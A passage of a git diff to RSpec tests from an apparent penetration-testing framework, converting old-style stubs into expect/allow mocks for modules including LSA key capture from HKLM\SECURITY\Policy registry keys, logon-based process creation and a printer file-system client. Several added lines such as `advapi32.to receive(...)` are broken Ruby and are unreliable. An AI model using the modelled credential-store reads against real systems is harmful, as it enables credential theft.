:print_status, :vprint_good, :print_good, :print_error, :print_warning ] - stubs.each { |meth| mod.stub(meth) } - mod.stub(:service_info).and_return({}) + stubs.each { |meth| expect(mod).to receive(meth) } + expect(mod).to receive(:service_info).and_return({}) mod end @@ -361,7 +361,7 @@ RSpec.describe Msf::Post::Windows::MSSQL do it 'should return a string' do p = double('process') c = double('channel') - p.stub(:channel).and_return(c) + expect(p).to receive(:channel).and_return(c) subject.stub_chain('session.sys.process.execute').and_return(p) expect(c).to receive(:read).and_return('hello') expect(c).to receive(:read).and_return(nil) diff --git a/spec/lib/msf/core/post/windows/priv_spec.rb b/spec/lib/msf/core/post/windows/priv_spec.rb index 4c82ec3604..127da96a7e 100644 --- a/spec/lib/msf/core/post/windows/priv_spec.rb +++ b/spec/lib/msf/core/post/windows/priv_spec.rb @@ -9,7 +9,7 @@ RSpec.describe Msf::Post::Windows::Priv do mod = Module.new mod.extend described_class stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, ] - stubs.each { |meth| mod.stub(meth) } + stubs.each { |meth| expect(mod).to receive(meth) } mod end @@ -99,8 +99,8 @@ RSpec.describe Msf::Post::Windows::Priv do let(:boot_key) { boot_key_xp } it "should produce expected LSA key" do - subject.stub(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "").and_return(pol_enc_key_xp) - subject.stub(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolEKList", "").and_return(nil) + expect(subject).to receive(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "").and_return(pol_enc_key_xp) + expect(subject).to receive(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolEKList", "").and_return(nil) subject.capture_lsa_key(boot_key_xp) end end @@ -110,8 +110,8 @@ RSpec.describe Msf::Post::Windows::Priv do let(:boot_key) { boot_key_vista } it "should produce expected LSA key" do - subject.stub(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "").and_return(nil) - subject.stub(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolEKList", "").and_return(pol_enc_key_vista) + expect(subject).to receive(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "").and_return(nil) + expect(subject).to receive(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolEKList", "").and_return(pol_enc_key_vista) subject.capture_lsa_key(boot_key) end end diff --git a/spec/lib/msf/core/post/windows/runas_spec.rb b/spec/lib/msf/core/post/windows/runas_spec.rb index 7a6bdf32eb..bbcf9ac95e 100644 --- a/spec/lib/msf/core/post/windows/runas_spec.rb +++ b/spec/lib/msf/core/post/windows/runas_spec.rb @@ -14,15 +14,15 @@ RSpec.describe Msf::Post::Windows::Runas do let(:advapi32) do advapi32 = double('advapi32') - advapi32.stub(:CreateProcessWithLogonW).and_return({ + expect(advapi32).to receive(:CreateProcessWithLogonW).and_return({ 'return' => true, 'lpProcessInformation' => process_info }) - advapi32.stub(:CreateProcessAsUserA).and_return ({ + expect(advapi32).to receive(:CreateProcessAsUserA).and_return ({ 'return' => true, 'lpProcessInformation' => process_info }) - advapi32.stub(:LogonUserA).and_return ({ + expect(advapi32).to receive(:LogonUserA).and_return ({ 'return' => true, 'phToken' => phToken }) @@ -37,7 +37,7 @@ RSpec.describe Msf::Post::Windows::Runas do mod = Module.new mod.extend described_class stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error ] - stubs.each { |meth| mod.stub(meth) } + stubs.each { |meth| expect(mod).to receive(meth) } mod.stub_chain("session.railgun.kernel32").and_return(kernel32) mod.stub_chain("session.railgun.advapi32").and_return(advapi32) mod @@ -55,7 +55,7 @@ RSpec.describe Msf::Post::Windows::Runas do it "should return a nil on failure" do expect(advapi32).to receive(:CreateProcessWithLogonW) expect(kernel32).not_to receive(:CloseHandle) - advapi32.stub(:CreateProcessWithLogonW).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') + advapi32.to receive(:CreateProcessWithLogonW).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil end end @@ -78,7 +78,7 @@ RSpec.describe Msf::Post::Windows::Runas do expect(kernel32).to receive(:CloseHandle).with(phToken) expect(kernel32).not_to receive(:CloseHandle).with(1) expect(kernel32).not_to receive(:CloseHandle).with(2) - advapi32.stub(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') + advapi32.to receive(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil end @@ -88,7 +88,7 @@ RSpec.describe Msf::Post::Windows::Runas do expect(kernel32).not_to receive(:CloseHandle).with(phToken) expect(kernel32).not_to receive(:CloseHandle).with(1) expect(kernel32).not_to receive(:CloseHandle).with(2) - advapi32.stub(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') + advapi32.to receive(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil end end diff --git a/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb index f115ff49b9..fc63a22569 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb @@ -68,7 +68,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Core do let(:printed_table) do table = '' - core.stub(:print_line) do |string| + expect(core).to receive(:print_line) do |string| table = string end diff --git a/spec/lib/rex/parser/winscp_spec.rb b/spec/lib/rex/parser/winscp_spec.rb index 3546f11c5c..7aff5ed1b6 100644 --- a/spec/lib/rex/parser/winscp_spec.rb +++ b/spec/lib/rex/parser/winscp_spec.rb @@ -85,12 +85,12 @@ RSpec.describe Rex::Parser::WinSCP do context "#read_and_parse_ini" do it "returns nil if file is empty or doesn't exist" do - File.stub(:read).and_return(nil) + expect(File).to receive(:read).and_return(nil) expect(target.read_and_parse_ini('blah')).to be nil end it "parses the example ini and return a single result" do - File.stub(:read).and_return(SAMPLE_INI) + expect(File).to receive(:read).and_return(SAMPLE_INI) expect(target.read_and_parse_ini(SAMPLE_INI).count).to eq 1 end end diff --git a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb index 9eb5918f6b..863136727d 100644 --- a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb @@ -13,7 +13,7 @@ RSpec.describe Rex::Post::Meterpreter::PacketParser do "test_method") @raw = @req_packt.to_r @sock = double('Socket') - @sock.stub(:read) do |arg| + expect(@sock).to receive(:read) do |arg| @raw.slice!(0,arg) end end diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 1cf83cffcf..65e037b488 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -118,10 +118,10 @@ RSpec.describe Rex::Proto::Http::Client do it "should send creds after receiving a 401" do conn = double - conn.stub(:put) - conn.stub(:shutdown) - conn.stub(:close) - conn.stub(:closed? => false) + expect(conn).to receive(:put) + expect(conn).to receive(:shutdown) + expect(conn).to receive(:close) + expect(conn).to receive(:closed?).and_return(false) expect(conn).to receive(:get_once).and_return(first_response, authed_response) expect(conn).to receive(:put) do |str_request| @@ -135,7 +135,7 @@ RSpec.describe Rex::Proto::Http::Client do expect(cli).to receive(:_send_recv).twice.and_call_original - Rex::Socket::Tcp.stub(:create).and_return(conn) + expect(Rex::Socket::Tcp).to receive(:create).and_return(conn) opts = { "username" => user, "password" => pass} req = cli.request_cgi(opts) diff --git a/spec/lib/rex/proto/pjl/client_spec.rb b/spec/lib/rex/proto/pjl/client_spec.rb index 041422992b..f4d6aed9af 100644 --- a/spec/lib/rex/proto/pjl/client_spec.rb +++ b/spec/lib/rex/proto/pjl/client_spec.rb @@ -11,8 +11,8 @@ RSpec.describe Rex::Proto::PJL::Client do let(:sock) do s = double("sock") - s.stub(:put).with(an_instance_of(String)) - s.stub(:get).and_return(default_response) + expect(s).to receive(:put).with(an_instance_of(String)) + expect(s).to receive(:get).and_return(default_response) s end @@ -51,7 +51,7 @@ RSpec.describe Rex::Proto::PJL::Client do context "#info_id" do it "should return the version information" do fake_version = '"1337"' - cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_version) + expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_version) cli.info_id.should eq('1337') end end @@ -59,7 +59,7 @@ RSpec.describe Rex::Proto::PJL::Client do context "#info_variables" do it "should return the environment variables" do fake_env_vars = "#{Rex::Proto::PJL::Info::VARIABLES}\r\nPASSWORD=DISABLED\f" - cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_env_vars) + expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_env_vars) cli.info_variables.should eq('PASSWORD=DISABLED') end end @@ -67,7 +67,7 @@ RSpec.describe Rex::Proto::PJL::Client do context "#info_filesys" do it "should return the volumes" do fake_volumes = "[1 TABLE]\r\nDIR\f" - cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_volumes) + expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_volumes) cli.info_filesys.should eq('DIR') end end @@ -75,7 +75,7 @@ RSpec.describe Rex::Proto::PJL::Client do context "#get_rdymsg" do it "should return a READY message" do fake_ready_message = 'DISPLAY="RES"' - cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_ready_message) + expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_ready_message) cli.get_rdymsg.should eq('RES') end end @@ -104,8 +104,8 @@ RSpec.describe Rex::Proto::PJL::Client do it "should query a file" do response = "TYPE=FILE SIZE=1337\r\n\f" tmp_sock = double("sock") - tmp_sock.stub(:put).with(an_instance_of(String)) - tmp_sock.stub(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + expect(tmp_sock).to receive(:put).with(an_instance_of(String)) + expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) tmp_cli.fsquery("1:").should eq(true) end @@ -119,8 +119,8 @@ RSpec.describe Rex::Proto::PJL::Client do it "should return a LIST directory response" do response = "ENTRY=1\r\nDIR\f" tmp_sock = double("sock") - tmp_sock.stub(:put).with(an_instance_of(String)) - tmp_sock.stub(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + expect(tmp_sock).to receive(:put).with(an_instance_of(String)) + expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) tmp_cli.fsdirlist("1:").should eq('DIR') end @@ -134,8 +134,8 @@ RSpec.describe Rex::Proto::PJL::Client do it "should return a file" do response = "SIZE=1337\r\nFILE\f" tmp_sock = double("sock") - tmp_sock.stub(:put).with(an_instance_of(String)) - tmp_sock.stub(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + expect(tmp_sock).to receive(:put).with(an_instance_of(String)) + expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) tmp_cli.fsupload("1:").should eq('FILE') end @@ -149,8 +149,8 @@ RSpec.describe Rex::Proto::PJL::Client do it "should upload a file" do response = "TYPE=FILE SIZE=1337\r\n\f" tmp_sock = double("sock") - tmp_sock.stub(:put).with(an_instance_of(String)) - tmp_sock.stub(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + expect(tmp_sock).to receive(:put).with(an_instance_of(String)) + expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) tmp_cli.fsdownload("/dev/null", "1:").should eq(true) end @@ -164,8 +164,8 @@ RSpec.describe Rex::Proto::PJL::Client do it "should delete a file" do response = "FILEERROR=3\r\n\f" tmp_sock = double("sock") - tmp_sock.stub(:put).with(an_instance_of(String)) - tmp_sock.stub(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + expect(tmp_sock).to receive(:put).with(an_instance_of(String)) + expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) tmp_cli.fsdelete("1:").should eq(true) end diff --git a/spec/lib/rex/socket_spec.rb b/spec/lib/rex/socket_spec.rb index 7227919814..c354adbfaa 100644 --- a/spec/lib/rex/socket_spec.rb +++ b/spec/lib/rex/socket_spec.rb @@ -84,7 +84,7 @@ RSpec.describe Rex::Socket do subject { described_class.getaddress('whatever') } before(:each) do - Socket.stub(:gethostbyname).and_return(['name', ['aliases'], response_afamily, *response_addresses]) + expect(Socket).to receive(:gethostbyname).and_return(['name', ['aliases'], response_afamily, *response_addresses]) end context 'when ::Socket.gethostbyname returns IPv4 responses' do @@ -124,7 +124,7 @@ RSpec.describe Rex::Socket do subject { described_class.getaddresses('whatever') } before(:each) do - Socket.stub(:gethostbyname).and_return(['name', ['aliases'], response_afamily, *response_addresses]) + expect(Socket).to receive(:gethostbyname).and_return(['name', ['aliases'], response_afamily, *response_addresses]) end context 'when ::Socket.gethostbyname returns IPv4 responses' do diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index 91960c88a9..cff2df29a3 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -517,7 +517,7 @@ RSpec.describe Rex::SSLScan::Result do end it "should return an appropriate message when SSL is not supported" do - subject.stub(:supports_ssl?).and_return(false) + expect(subject).to receive(:supports_ssl?).and_return(false) expect(subject.to_s).to eq "Server does not appear to support SSL on this port!" end diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index 0f7ef0e8c6..8a9a457c57 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -89,7 +89,7 @@ RSpec.describe Rex::SSLScan::Scanner do context "if SSLv2 is not available locally" do before(:each) do - subject.stub(:check_opensslv2).and_return(false) + expect(subject).to receive(:check_opensslv2).and_return(false) subject.send(:initialize, 'google.com', 443) end it "should mark SSLv2 as unsupported" do diff --git a/spec/msfupdate_spec.rb b/spec/msfupdate_spec.rb index 7375f36c31..bd79508b98 100644 --- a/spec/msfupdate_spec.rb +++ b/spec/msfupdate_spec.rb @@ -49,9 +49,9 @@ RSpec.describe Msfupdate do before(:each) do # By default, we want to ensure tests never actually try to execute any # of the update methods unless we are explicitly testing them - subject.stub(:update_apt!) - subject.stub(:update_binary_install!) - subject.stub(:update_git!) + allow(subject).to receive(:update_apt!) + allow(subject).to receive(:update_binary_install!) + allow(subject).to receive(:update_git!) end context "#parse_args" do @@ -179,7 +179,7 @@ RSpec.describe Msfupdate do end it "exits if arguments are invalid" do - subject.stub(:validate_args) { false } + allow(subject).to receive(:validate_args).and_return(false) expect(subject).to receive(:maybe_wait_and_exit).and_raise(SystemExit) expect { subject.run! }.to raise_error(SystemExit) end diff --git a/spec/support/shared/contexts/msf/db_manager.rb b/spec/support/shared/contexts/msf/db_manager.rb index 5eec254273..610f382412 100644 --- a/spec/support/shared/contexts/msf/db_manager.rb +++ b/spec/support/shared/contexts/msf/db_manager.rb @@ -12,6 +12,6 @@ RSpec.shared_context 'Msf::DBManager' do before(:each) do # already connected due to use_transactional_fixtures, but need some of the side-effects of #connect framework.db.workspace = framework.db.default_workspace - db_manager.stub(:active => active) + expect(db_manager).to receive(:active).and_return(active) end end diff --git a/spec/support/shared/contexts/msf/ui_driver.rb b/spec/support/shared/contexts/msf/ui_driver.rb index 5e9e67b25b..5f40aef334 100644 --- a/spec/support/shared/contexts/msf/ui_driver.rb +++ b/spec/support/shared/contexts/msf/ui_driver.rb @@ -4,16 +4,16 @@ RSpec.shared_context 'Msf::UIDriver' do 'Driver', :framework => framework ).tap { |driver| - driver.stub(:on_command_proc=).with(kind_of(Proc)) - driver.stub(:print_line).with(kind_of(String)) do |string| + expect(driver).to receive(:on_command_proc=).with(kind_of(Proc)) + expect(driver).to receive(:print_line).with(kind_of(String)) do |string| @output ||= [] @output.concat string.split("\n") end - driver.stub(:print_status).with(kind_of(String)) do |string| + expect(driver).to receive(:print_status).with(kind_of(String)) do |string| @output ||= [] @output.concat string.split("\n") end - driver.stub(:print_error).with(kind_of(String)) do |string| + expect(driver).to receive(:print_error).with(kind_of(String)) do |string| @error ||= [] @error.concat string.split("\n") end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb index 82f9e00313..4aea900ea5 100644 --- a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb @@ -308,7 +308,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end before(:each) do - db_manager.stub( + allow(db_manager).to receive( :report_web_vuln ).with( an_instance_of(Hash) @@ -390,7 +390,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end before(:each) do - db_manager.stub(:import_msf_text_element).and_return(returned_hash) + expect(db_manager).to receive(:import_msf_text_element).and_return(returned_hash) end it 'should pass returned Hash as part of Hash passed to report_web_<:type' do diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index 1a2432f046..3380af52d6 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -35,7 +35,7 @@ shared_examples_for 'Msf::DBManager::Migration' do it 'should return migrations that were ran from ActiveRecord::Migrator.migrate' do migrations = [double('Migration 1')] - ActiveRecord::Migrator.stub(:migrate => migrations) + expect(ActiveRecord::Migrator).to receive(:migrate).and_return(migrations) expect(migrate).to eq migrations end @@ -56,7 +56,7 @@ shared_examples_for 'Msf::DBManager::Migration' do end before(:each) do - ActiveRecord::Migrator.stub(:migrate).and_raise(error) + expect(ActiveRecord::Migrator).to receive(:migrate).and_raise(error) end it 'should set Msf::DBManager#error' do @@ -144,7 +144,7 @@ shared_examples_for 'Msf::DBManager::Migration' do descendants << double("Descendant #{i}") end - ActiveRecord::Base.stub(:descendants => descendants) + expect(ActiveRecord::Base).to receive(:descendants).and_return(descendants) descendants.each do |descendant| expect(descendant).to receive(:reset_column_information) diff --git a/spec/support/shared/examples/msf/db_manager/module_cache.rb b/spec/support/shared/examples/msf/db_manager/module_cache.rb index ae37404c82..09b3a6252d 100644 --- a/spec/support/shared/examples/msf/db_manager/module_cache.rb +++ b/spec/support/shared/examples/msf/db_manager/module_cache.rb @@ -27,7 +27,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - db_manager.stub(:migrated => migrated) + expect(db_manager).to receive(:migrated).and_return(migrated) end context 'with migrated' do @@ -40,7 +40,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - db_manager.stub(:modules_caching => modules_caching) + expect(db_manager).to receive(:modules_caching).and_return(modules_caching) end context 'with modules_caching' do @@ -97,7 +97,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - db_manager.stub(:migrated => migrated) + expect(db_manager).to receive(:migrated).and_return(migrated) end context 'with migrated' do @@ -555,7 +555,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - db_manager.stub(:migrated => migrated) + expect(db_manager).to receive(:migrated).and_return(migrated) end context 'with migrated' do @@ -568,7 +568,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - db_manager.stub(:modules_caching => modules_caching) + expect(db_manager).to receive(:modules_caching).and_return(modules_caching) end context 'with modules_caching' do @@ -771,7 +771,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - db_manager.stub(:migrated => migrated) + expect(db_manager).to receive(:migrated).and_return(migrated) end context 'with migrated' do @@ -816,7 +816,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - db_manager.stub( + allow(db_manager).to receive( :module_to_details_hash ).with( module_instance diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index e93387d2bf..2e06ae56df 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -173,9 +173,9 @@ shared_examples_for 'Msf::DBManager::Session' do context 'with workspace from either :workspace or session' do it 'should pass normalized host from session as :host to #find_or_create_host' do normalized_host = double('Normalized Host') - db_manager.stub(:normalize_host).with(session).and_return(normalized_host) + expect(db_manager).to receive(:normalize_host).with(session).and_return(normalized_host) # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. - db_manager.stub(:report_vuln) + expect(db_manager).to receive(:report_vuln) expect(db_manager).to receive(:find_or_create_host).with( hash_including( @@ -192,7 +192,7 @@ shared_examples_for 'Msf::DBManager::Session' do end before(:each) do - session.stub(:arch => arch) + expect(session).to receive(:arch).and_return(arch) end it 'should pass :arch to #find_or_create_host' do @@ -516,9 +516,9 @@ shared_examples_for 'Msf::DBManager::Session' do context 'with workspace from either :workspace or session' do it 'should pass normalized host from session as :host to #find_or_create_host' do normalized_host = double('Normalized Host') - db_manager.stub(:normalize_host).with(session).and_return(normalized_host) + expect(db_manager).to receive(:normalize_host).with(session).and_return(normalized_host) # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. - db_manager.stub(:report_vuln) + expect(db_manager).to receive(:report_vuln) expect(db_manager).to receive(:find_or_create_host).with( hash_including( @@ -535,7 +535,7 @@ shared_examples_for 'Msf::DBManager::Session' do end before(:each) do - session.stub(:arch => arch) + expect(session).to receive(:arch).and_return(arch) end it 'should pass :arch to #find_or_create_host' do diff --git a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb index 881d2e9b13..ca93631bb0 100644 --- a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb +++ b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb @@ -41,7 +41,7 @@ shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do context 'with exception raised by #update_module_details' do before(:each) do - db_manager.stub(:update_module_details).and_raise(Exception) + expect(db_manager).to receive(:update_module_details).and_raise(Exception) end it 'should log error' do diff --git a/spec/support/shared/examples/msf/module/search.rb b/spec/support/shared/examples/msf/module/search.rb index 53996575d8..1d1c8837e0 100644 --- a/spec/support/shared/examples/msf/module/search.rb +++ b/spec/support/shared/examples/msf/module/search.rb @@ -34,7 +34,7 @@ shared_examples_for 'Msf::Module::Search' do end let(:opts) { Hash.new } - before { subject.stub(:fullname => '/module') } + before { expect(subject).to receive(:fullname).and_return('/module') } subject { Msf::Module.new(opts) } accept = [] reject = [] @@ -44,7 +44,7 @@ shared_examples_for 'Msf::Module::Search' do end context 'on a client module' do - before { subject.stub(:stance => 'passive') } + before { expect(subject).to receive(:stance).and_return('passive') } accept = %w(app:client) reject = %w(app:server) @@ -52,7 +52,7 @@ shared_examples_for 'Msf::Module::Search' do end context 'on a server module' do - before { subject.stub(:stance => 'aggressive') } + before { expect(subject).to receive(:stance).and_return('aggressive') } accept = %w(app:server) reject = %w(app:client) @@ -116,7 +116,10 @@ shared_examples_for 'Msf::Module::Search' do end context 'on a module with a default RPORT of 5555' do - before { subject.stub(:datastore => { 'RPORT' => 5555 }) } + before do + expect(subject).to receive(:datastore).and_return({ 'RPORT' => 5555 }) + end + accept = %w(port:5555) reject = %w(port:5556) @@ -130,7 +133,7 @@ shared_examples_for 'Msf::Module::Search' do end context 'on a module with a #fullname of "blah"' do - before { subject.stub(:fullname => '/c/d/e/blah') } + before { expect(subject).to receive(:fullname).and_return('/c/d/e/blah') } it_should_behave_like 'search_filter', :accept => %w(text:blah), :reject => %w(text:foo) it_should_behave_like 'search_filter', :accept => %w(path:blah), :reject => %w(path:foo) end @@ -144,7 +147,7 @@ shared_examples_for 'Msf::Module::Search' do all_module_types = Msf::MODULE_TYPES all_module_types.each do |mtype| context "on a #{mtype} module" do - before(:each) { subject.stub(:type => mtype) } + before(:each) { expect(subject).to receive(:type).and_return(mtype) } accept = ["type:#{mtype}"] reject = all_module_types.reject { |t| t == mtype }.map { |t| "type:#{t}" } diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 823a8e8a07..3b8c594548 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -189,7 +189,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do context 'return from load_module' do before(:each) do module_manager.send(:loaders).each do |loader| - loader.stub(:load_module => module_loaded) + expect(loader).to receive(:load_module).and_return(module_loaded) end end @@ -222,7 +222,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do context '#refresh_cache_from_module_files' do before(:each) do - module_manager.stub(:framework_migrated? => framework_migrated?) + expect(module_manager).to receive(:framework_migrated?).and_return(framework_migrated?) end context 'with framework migrated' do @@ -309,7 +309,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do context 'with framework database' do before(:each) do - framework.db.stub(:migrated => migrated) + expect(framework.db).to receive(:migrated).and_return(migrated) end context 'with migrated' do @@ -331,7 +331,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do context 'without framework database' do before(:each) do - framework.stub(:db => nil) + expect(framework).to receive(:db).and_return(nil) end it { should be_falsey } @@ -360,7 +360,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end before(:each) do - module_manager.stub(:framework_migrated? => framework_migrated?) + expect(module_manager).to receive(:framework_migrated?).and_return(framework_migrated?) end context 'with framework migrated' do diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index d7262e02c4..0240ce8130 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -125,7 +125,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do end before(:each) do - klass.stub(:parent => namespace_module) + expect(klass).to receive(:parent).and_return(namespace_module) end it "should add module to type's module_set" do diff --git a/spec/support/shared/examples/msf/simple/framework/module_paths.rb b/spec/support/shared/examples/msf/simple/framework/module_paths.rb index d9b5090bab..62bccbcd11 100644 --- a/spec/support/shared/examples/msf/simple/framework/module_paths.rb +++ b/spec/support/shared/examples/msf/simple/framework/module_paths.rb @@ -25,7 +25,7 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do # to init_module_paths doesn't get captured. framework - Msf::Config.stub(:user_module_directory => user_module_directory) + expect(Msf::Config).to receive(:user_module_directory).and_return(user_module_directory) end it 'should refresh module cache from database' do diff --git a/spec/tools/md5_lookup_spec.rb b/spec/tools/md5_lookup_spec.rb index 877664009c..78cd2b85c0 100644 --- a/spec/tools/md5_lookup_spec.rb +++ b/spec/tools/md5_lookup_spec.rb @@ -223,7 +223,7 @@ RSpec.describe Md5LookupUtility do } before(:each) do - Md5LookupUtility::OptsConsole.stub(:parse).with(any_args).and_return(options) + expect(Md5LookupUtility::OptsConsole).to receive(:parse).with(any_args).and_return(options) allow(File).to receive(:open).with(input_file, 'rb').and_yield(StringIO.new(input_data)) allow(File).to receive(:new).with(output_file, 'wb').and_return(StringIO.new) end diff --git a/spec/tools/virustotal_spec.rb b/spec/tools/virustotal_spec.rb index ce7deaa2be..bee9dfe870 100644 --- a/spec/tools/virustotal_spec.rb +++ b/spec/tools/virustotal_spec.rb @@ -86,7 +86,7 @@ RSpec.describe VirusTotalUtility do let(:vt) do file = double(File, read: malware_data) - File.stub(:open).with(filename, 'rb') {|&block| block.yield file} + expect(File).to receive(:open).with(filename, 'rb') {|&block| block.yield file} VirusTotalUtility::VirusTotal.new({'api_key'=>api_key, 'sample'=>filename}) end @@ -108,14 +108,14 @@ RSpec.describe VirusTotalUtility do context ".scan_sample" do it "should return with data" do - vt.stub(:_execute_request).and_return('') + expect(vt).to receive(:_execute_request).and_return('') vt.scan_sample.should eq('') end end context ".retrieve_report" do it "should return with data" do - vt.stub(:_execute_request).and_return('') + expect(vt).to receive(:_execute_request).and_return('') vt.retrieve_report.should eq('') end end @@ -123,15 +123,15 @@ RSpec.describe VirusTotalUtility do context "._execute_request" do it "should return status code 204" do res = double(Rex::Proto::Http::Response) - res.stub(:code).and_return(204) - vt.stub(:send_request_cgi).with(scan_sample_opts).and_return(res) + expect(res).to receive(:code).and_return(204) + expect(vt).to receive(:send_request_cgi).with(scan_sample_opts).and_return(res) expect { vt.send(:_execute_request, scan_sample_opts) }.to raise_error(RuntimeError) end it "should return status code 403" do res = double(Rex::Proto::Http::Response) - res.stub(:code).and_return(403) - vt.stub(:send_request_cgi).with(scan_sample_opts).and_return(res) + expect(res).to receive(:code).and_return(403) + expect(vt).to receive(:send_request_cgi).with(scan_sample_opts).and_return(res) expect { vt.send(:_execute_request, scan_sample_opts) }.to raise_error(RuntimeError) end end @@ -201,15 +201,15 @@ RSpec.describe 